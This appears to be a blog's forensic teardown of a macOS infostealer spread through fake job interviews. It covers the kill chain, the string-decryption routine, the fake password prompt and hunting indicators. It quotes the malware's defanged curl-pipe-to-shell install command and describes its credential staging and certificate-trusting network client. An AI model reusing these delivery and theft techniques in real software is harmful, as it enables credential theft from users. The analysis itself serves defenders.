Fake interview The job interview that tried to install malware on my Mac

For engineers and developers

The forensic teardown

Everything above is the plain-English version. This is what the binary actually does, recovered statically on an outbound-firewalled Linux VM with Ghidra 11.3 headless, radare2 5.5 and llvm-objdump. Nothing was executed. Domains are defanged.

Verdict first: I assess roughly 80% confidence that this matches the North Korea-linked "Contagious Interview" pattern (Famous Chollima, BlueNoroff, Jade Sleet). The fake recruiter, the fake meeting app, the dual DMG and curl | sh delivery, the fake password prompt and the webcam grab are all textbook DPRK macOS tradecraft. The honest counter-signal: the web JavaScript carries Russian-language developer comments, which could be reused commodity code or a false flag.

The kill chain, as observed

1. The Calendly reminder links to talkbrave[.]org/meet/<id>?p=<code>, a counterfeit Brave Talk prejoin page.
2. The page asks for camera and mic, silently draws one webcam frame to a canvas and POSTs the JPEG to /evidence/<code>. You are photographed before anything installs.
3. A fake "Brave Talk Premium needs the desktop app" error calls /teams/retreive/<code>/, which returns a one-time link to macos.talkbrave[.]org/?dlid=<uuid>. Anyone outside the victim session gets a 404, which may conceal it from scanners.
4. Two delivery paths: BraveTalk.dmg from m.fallproject[.]com, or a one-liner, curl https://macos.talkbrave[.]org/apple/macos/install/interactive/bash | sh.
5. install.sh pulls /unix/<uuid> with curl -fsSLk (the -k switches off certificate checks), untars it, marks it executable and execs a universal arm64 and x86_64 Mach-O called installer, behind a fake ten-step progress bar.

Reversing the string cipher

Every operational string is hidden at compile time and revealed at runtime by cloudsync_impl::sobf::reveal(). It is not base64 and not ChaCha. It is a custom XOR keyed by a 32-byte table K stored in the binary, where each string carries its own one-byte seed:

K = bytes.fromhex(
    "d719bf57e65ba09de1bacdb182c99118"
    "edafd518fd3a4a9797bcad221adb8151")

def reveal(cipher: bytes, seed: int) -> bytes:
    return bytes(
        c ^ ((seed * 0x83 + i * 0x11) & 0xFF) ^ K[seed & 31] ^ K[i & 31]
        for i, c in enumerate(cipher)
    )

Recovered offline: .config (seed 191) and data.json (seed 211). The code stages data at roughly ~/.config/<disguised>/data.json before attempting to send it.

The useful part for anyone doing this at home: once you have K and the routine, the rest of the global _ct_APP_* blobs (install dir, process-disguise name, lock names, temp swap and spawn prefixes, the .sh suffix) fall to the same function, because their lengths are known. The ChaCha20 key and IV (APP_CHACHA_KEY, APP_OPS_CHACHA_IV) are a separate layer that encrypts the exfil body.

The password grab, from the decompiler

An Objective-C AuthDialog with an NSSecureTextField draws the fake system prompt. Clicking OK runs a short, very readable chain:

save_local_password()
  -> get_app_config_dir()
  -> create_directories()
  -> create_auth_json()      // base64(input) + generate_filler() padding
                             //   + zwc zero-width wrap + magic::encode
  -> std::ofstream write
  -> chmod 0644

The code is built to write the password to disk in an envelope that looks like random text, then send it out. Zero-width characters mean that even a human opening the file sees almost nothing.

A network client that trusts anyone

cs_url_session_configuration sets setHTTPCookieStorage:nil and setHTTPShouldSetCookies:NO, so every beacon is stateless. Its delegate, CSURLInsecureDelegate, answers every TLS challenge through cs_accept_server_trust by accepting the server's certificate unconditionally. Combined with curl -k in the installer, the operators can run a self-signed C2 and swap infrastructure freely. One upside for defenders: a TLS-inspecting proxy sees the host and request shape with no extra trust setup, although the body is still ChaCha20 ciphertext.

Evasion and persistence

• Disguise: the config defines APP_PROCESS_DISGUISE_NAME, but I could not decode its value.
• Persistence: config names APP_INSTALL_DIR and APP_DAEMON_NAME suggest a launch agent or daemon for persistence across reboots.
• One copy only: installer_lock and daemon_flock_held keep a single instance running.
• Padding: generate_filler() has its own RNG and pads the auth.json envelope with junk.
• Gating: embedded_gate_data is an embedded blob that looks like an environment check before the payload commits.
• Build: macOS SDK 14.0, minimum macOS 13.0, universal arm64 and x86_64, ad-hoc signed. The arm64 slice UUID is D8889234-7422-3CA7-9A1F-759F99E597E9.

What I could not crack (yet)

The live C2 host. The network URL is built in runWorkflow from inline CTEnc<N>::str() objects (68, 44, 35, 35, 34, 15, 14 and 10 bytes) that use a different per-object key and do not fall to the global XOR. The second binary, cshelper inside BraveTalk.app, sits behind HFS+ compression that defeated 7z and hpmount, so it needs a real hdiutil or apfs-fuse mount. If you get further, open an issue on the repository below. Recovering that host is what would turn an 80% assessment into attribution.

MITRE ATT&CK mapping

Indicators of compromise and associated context

How to hunt for it

• A recently created ~/.config/*/data.json full of what looks like empty or garbled text.
• A new plist in ~/Library/LaunchAgents pointing at an unfamiliar binary, if present. Persistence is inferred; I did not observe a plist.
• curl -fsSLk … | sh in shell history, or DNS lookups for the domains above.
• Match on behaviour and on the cipher table K. The YARA rule in the repository does exactly that.

The full decoder, the decompiled routines, the YARA rule and the complete IOC list are in the open teardown repository on GitHub. No live binary is published.